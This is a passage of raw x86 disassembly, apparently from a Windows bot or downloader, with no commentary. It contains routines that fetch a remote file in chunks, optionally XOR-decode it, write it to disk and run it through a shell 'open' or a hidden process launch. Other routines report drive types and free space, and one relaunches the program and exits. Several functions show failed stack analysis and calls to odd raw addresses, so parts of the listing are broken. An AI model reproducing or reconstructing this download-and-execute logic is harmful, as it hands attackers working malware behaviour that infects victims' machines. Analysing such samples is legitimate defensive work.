		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0

loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------

loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h

loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43AD94
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------

loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43AE30
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		nop
		call	near ptr 26102D3h

loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h

loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h

loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx

loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43AE30

loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43ACA8
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		nop
		call	near ptr 2650000h
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h

loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		nop
		call	near ptr 2610763h
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43ACB0
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx

loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2640000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]

loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB

loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------

loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C

loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4405F0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2

loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 2610763h
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26319EBh
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43AD0C
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------

loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_436EDC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 2760575h
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43ACF8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------

loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390

loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43ADCC
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D3h
		nop
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF

loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43F168
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------

loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi

loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------

loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADF8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------

loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------

loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43AC94
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------

loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------

loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h

loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------

loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43AD08
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43AD08
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399

loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h

loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365

loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi

loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4407FC
		call	dword_43AE30
		call	sub_416F25
		call	dword_43ACF8
		call	dword_43ACF8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_436EDC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2760575h
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi

loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43F1A0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
